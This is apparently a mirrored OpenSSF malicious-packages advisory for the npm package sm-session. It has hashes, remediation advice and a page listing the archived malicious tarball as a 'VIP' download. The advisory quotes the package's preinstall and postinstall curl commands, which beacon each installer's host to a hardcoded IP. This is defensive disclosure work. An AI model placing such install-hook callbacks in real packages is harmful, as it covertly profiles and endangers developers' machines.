MAL-2026-14400Malicious code in sm-session (npm)
| 版本 | 状态 | 大小 | SHA-256 | 获取方式 |
|---|---|---|---|---|
99.0.0 | unavailable | — | — | — |
99.0.1 | archived | 0.4 KB | bcc6d5bd7935f9de96ff0ad9775c8340d94d123438b34542856125114e70cb22 | VIP 下载 |
| Ecosystem | Package | Version |
|---|---|---|
| npm | sm-session | * |
| npm | sm-session | 99.0.0 |
| npm | sm-session | 99.0.1 |
{"schema_version":"1.7.4","id":"MAL-2026-14400","published":"2026-08-23T19:00:27Z","modified":"2026-08-24T16:28:17.246474441Z","aliases":["GHSA-2f9h-c49j-w22r"],"summary":"Malicious code in sm-session (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24)\npackage.json declares preinstall and postinstall lifecycle scripts that each run `curl -s http://16.192.173.5/sm-session/pre` and `curl -s http://16.192.173.5/sm-session/post` on `npm install`. The destination is a hardcoded bare IPv4 over plain HTTP with path segments identifying the package name and lifecycle stage, so every install signals the installer's host (source IP, user-agent, timing) to an operator-controlled endpoint. The behavior is the canonical dependency-confusion reconnaissance shape: a name-squat package whose only install-time action is a callback identifying which environments resolve the name. No legitimate package purpose is served by a plain-HTTP beacon to a bare IP in both pre- and postinstall hooks.\n\n## Source: ghsa-malware (4a2d380d6ee8962fa08a64ed46e97d530797c008f516c0cf19ccc8ce7dbebb49)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n\n## Source: ossf-package-analysis (dc10328735ea596affb97ec9cd39bb62b49ed2017e4a11c0c27b1db7839aa405)\nThe OpenSSF Package Analysis project identified 'sm-session' @ 99.0.1 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n","affected":[{"package":{"name":"sm-session","ecosystem":"npm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["99.0.1","99.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"6ddf1620a54e8e36b49e80d0f397d7bffa2066c37c2dc4de92f42af0b764539a","tlsh":"95d0236c3c14a7b3b9c46bb52578c316b5e01d0711615d05d7560046175de75252fb06"}],"package_integrity":[{"filename":"sm-session-99.0.1.tgz","hashes":{"sha1":"d99d85a9f2d5207161449d5ed8ca6fc9dfa38c54","sha512_sri":"sha512-zA1x0jshO+VaIQ1syLqIEqjcYzB0fsv8/6YPgsgRqa/rhKdI/0+ZQoJ/r0cVYsCIzFQcq/mCeG9Vkm30BIUM0w=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/sm-session/v/99.0.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sm-session/v/99.0.0"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2f9h-c49j-w22r"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-018604","import_time":"2026-08-24T05:20:13.90180051Z","modified_time":"2026-08-24T05:06:41Z","sha256":"1934167b06b4d9241c11bb22d15955d215c6879e004d270ed35b386b1a0442f6","source":"amazon-inspector","versions":["99.0.1"]},{"id":"IN-MAL-2026-018614","import_time":"2026-08-24T05:20:14.867174665Z","modified_time":"2026-08-24T05:08:06Z","sha256":"ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24","source":"amazon-inspector","versions":["99.0.0"]},{"import_time":"2026-08-24T05:47:55.120825863Z","modified_time":"2026-08-23T19:00:27Z","sha256":"dc10328735ea596affb97ec9cd39bb62b49ed2017e4a11c0c27b1db7839aa405","source":"ossf-package-analysis","versions":["99.0.1"]},{"id":"GHSA-2f9h-c49j-w22r","import_time":"2026-08-24T16:26:16.717170571Z","modified_time":"2026-08-24T15:42:58Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"4a2d380d6ee8962fa08a64ed46e97d530797c008f516c0cf19ccc8ce7dbebb49","source":"ghsa-malware"}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"}]}数据来源:OpenSSF Malicious Packages · Apache-2.0